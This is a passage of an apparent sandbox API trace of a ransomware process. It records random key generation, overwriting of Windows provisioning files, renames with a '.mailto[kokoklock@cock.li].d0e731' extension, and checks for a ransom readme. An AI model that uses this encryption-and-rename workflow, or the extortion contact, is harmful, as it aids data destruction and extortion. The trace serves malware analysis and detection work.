Seed=0x2fd3fd7c) returned 0xa22d47ad [0087.751] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0xf4b23d4a [0087.751] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0xa5f1d8a [0087.751] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0x767daaca [0087.751] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0x7971f24e [0087.751] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0x23998545 [0087.751] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0x304b443b [0087.752] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0x1a866337 [0087.752] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0x60eed159 [0087.752] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0x390faafc [0087.752] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0x707ae569 [0087.752] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0x41958632 [0087.752] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0xb47e74ec [0087.752] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0xa60891ba [0087.752] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0x2fed333e [0087.752] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0xbc06f8ca [0087.752] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0x5acac5a4 [0087.752] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0xbbfe4b72 [0087.752] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0x39ce3129 [0087.752] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0xab26b54 [0087.752] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0x2e573614 [0087.764] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x282, lpNumberOfBytesRead=0x2fd3fd70, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2fd3fd70*=0x282, lpOverlapped=0x0) returned 1 [0087.764] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fd3fd38 | out: lpNewFilePointer=0x0) returned 1 [0087.765] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x282, lpNumberOfBytesWritten=0x2fd3fd6c, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2fd3fd6c*=0x282, lpOverlapped=0x0) returned 1 [0087.765] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcae8 [0087.765] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6b0 [0087.765] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6b0) returned 1 [0087.765] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dcae8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2fd3fd68, lpOverlapped=0x0 | out: lpBuffer=0x55dcae8*, lpNumberOfBytesWritten=0x2fd3fd68*=0x20, lpOverlapped=0x0) returned 1 [0087.765] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcae8) returned 1 [0087.765] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.765] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.765] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.765] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.765] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dcac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2fd3fd94, lpOverlapped=0x0 | out: lpBuffer=0x55dcac0*, lpNumberOfBytesWritten=0x2fd3fd94*=0x8, lpOverlapped=0x0) returned 1 [0087.765] WriteFile (in: hFile=0x3d0, lpBuffer=0x2fd3fdac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2fd3fd94, lpOverlapped=0x0 | out: lpBuffer=0x2fd3fdac*, lpNumberOfBytesWritten=0x2fd3fd94*=0x4, lpOverlapped=0x0) returned 1 [0087.765] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2fd3fd94, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2fd3fd94*=0x4, lpOverlapped=0x0) returned 1 [0087.765] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2fd3fd94, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2fd3fd94*=0x6c, lpOverlapped=0x0) returned 1 [0087.766] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc7a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2fd3fd94, lpOverlapped=0x0 | out: lpBuffer=0x55dc7a0*, lpNumberOfBytesWritten=0x2fd3fd94*=0x20, lpOverlapped=0x0) returned 1 [0087.766] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2fd3fd94, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2fd3fd94*=0x4, lpOverlapped=0x0) returned 1 [0087.766] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc7a0) returned 1 [0087.766] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc930) returned 1 [0087.766] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcac0) returned 1 [0087.766] CloseHandle (hObject=0x3d0) returned 1 [0087.766] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18c) returned 0x33fc9c8 [0087.766] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" [0087.766] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.766] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\183__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\183__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.767] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.767] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.767] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.767] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.767] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.767] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.767] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.767] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.767] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d9cb8) returned 1 [0087.767] RtlExitUserThread (Status=0x1) Thread: id = 1378 os_tid = 0x1424 [0087.769] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\184__connections_cellular_smartone-vodafone (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 0x20 [0087.769] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.769] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\184__connections_cellular_smartone-vodafone (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.769] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2fdbf7fc | out: lpFileSize=0x2fdbf7fc*=731) returned 1 [0087.769] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.769] ReadFile (in: hFile=0x3d0, lpBuffer=0x2fdbf7d0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fdbf7cc, lpOverlapped=0x0 | out: lpBuffer=0x2fdbf7d0*, lpNumberOfBytesRead=0x2fdbf7cc*=0x4, lpOverlapped=0x0) returned 1 [0087.771] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.771] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcac0 [0087.771] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcb10 [0087.771] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7c8 [0087.771] NtQuerySystemTime (in: CurrentTime=0x2fdbf7a8 | out: CurrentTime=0x2fdbf7a8*=132121176456569793) returned 0x0 [0087.771] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0xc4cb7be7 [0087.771] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0xc4a5d015 [0087.771] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0x3df177e1 [0087.771] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0x43bf78dd [0087.771] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0xb6e6b923 [0087.771] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0x775417fd [0087.771] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0x2c78bd16 [0087.771] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0x9f03e852 [0087.771] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0x2b07f5bc [0087.771] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0xc3fb4ffc [0087.771] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0xf5046ed8 [0087.771] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0x77baa5d2 [0087.771] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0xf1a6a88d [0087.771] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0x54025cfb [0087.771] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0x60e8909f [0087.771] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0x408b31eb [0087.771] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0x1742805d [0087.771] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0xc7369d74 [0087.771] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0x60b7b8e4 [0087.771] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0x2cfc3218 [0087.772] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0x86d8f180 [0087.772] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0x433276f2 [0087.772] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0xfb898322 [0087.772] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0x7b3f2ca5 [0087.772] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0x432b84b [0087.772] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0xfbf7f08a [0087.772] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0xad905587 [0087.772] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0x8fa7143b [0087.772] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0xd54cd195 [0087.772] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0x3887abd8 [0087.772] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0x590fcf49 [0087.772] RtlRandom (in: Seed=0x2fdbf7b4 | out: Seed=0x2fdbf7b4) returned 0x278a5356 [0087.782] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2db, lpNumberOfBytesRead=0x2fdbf7a8, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2fdbf7a8*=0x2db, lpOverlapped=0x0) returned 1 [0087.782] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdbf770 | out: lpNewFilePointer=0x0) returned 1 [0087.782] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2db, lpNumberOfBytesWritten=0x2fdbf7a4, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2fdbf7a4*=0x2db, lpOverlapped=0x0) returned 1 [0087.783] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcac0 [0087.783] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc638 [0087.783] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc638) returned 1 [0087.783] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dcac0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2fdbf7a0, lpOverlapped=0x0 | out: lpBuffer=0x55dcac0*, lpNumberOfBytesWritten=0x2fdbf7a0*=0x20, lpOverlapped=0x0) returned 1 [0087.783] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcac0) returned 1 [0087.783] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.783] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.783] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0087.783] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0087.783] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dcae8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2fdbf7cc, lpOverlapped=0x0 | out: lpBuffer=0x55dcae8*, lpNumberOfBytesWritten=0x2fdbf7cc*=0x8, lpOverlapped=0x0) returned 1 [0087.783] WriteFile (in: hFile=0x3d0, lpBuffer=0x2fdbf7e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2fdbf7cc, lpOverlapped=0x0 | out: lpBuffer=0x2fdbf7e4*, lpNumberOfBytesWritten=0x2fdbf7cc*=0x4, lpOverlapped=0x0) returned 1 [0087.783] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2fdbf7cc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2fdbf7cc*=0x4, lpOverlapped=0x0) returned 1 [0087.783] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2fdbf7cc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2fdbf7cc*=0x6c, lpOverlapped=0x0) returned 1 [0087.783] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dcb10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2fdbf7cc, lpOverlapped=0x0 | out: lpBuffer=0x55dcb10*, lpNumberOfBytesWritten=0x2fdbf7cc*=0x20, lpOverlapped=0x0) returned 1 [0087.783] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2fdbf7cc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2fdbf7cc*=0x4, lpOverlapped=0x0) returned 1 [0087.784] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcb10) returned 1 [0087.784] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc7f0) returned 1 [0087.784] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcae8) returned 1 [0087.784] CloseHandle (hObject=0x3d0) returned 1 [0087.784] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x1a6) returned 0x33fc9c8 [0087.784] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" [0087.784] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.784] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\184__connections_cellular_smartone-vodafone (hong kong sar)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\184__connections_cellular_smartone-vodafone (hong kong sar)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.789] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.789] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.789] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.789] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a9c8 [0087.789] wcscpy (in: _Dest=0x348a9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.789] wcscat (in: _Dest=0x348a9c8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.790] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.790] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a9c8) returned 1 [0087.790] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34954b8) returned 1 [0087.790] RtlExitUserThread (Status=0x1) Thread: id = 1379 os_tid = 0x1428 [0087.791] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\185__connections_cellular_telenor hungary (hungary)_i0$(__mvid)@wap.provxml")) returned 0x20 [0087.791] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.791] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\185__connections_cellular_telenor hungary (hungary)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.791] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2fe3f8b8 | out: lpFileSize=0x2fe3f8b8*=646) returned 1 [0087.792] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x282, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.792] ReadFile (in: hFile=0x3d0, lpBuffer=0x2fe3f88c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fe3f888, lpOverlapped=0x0 | out: 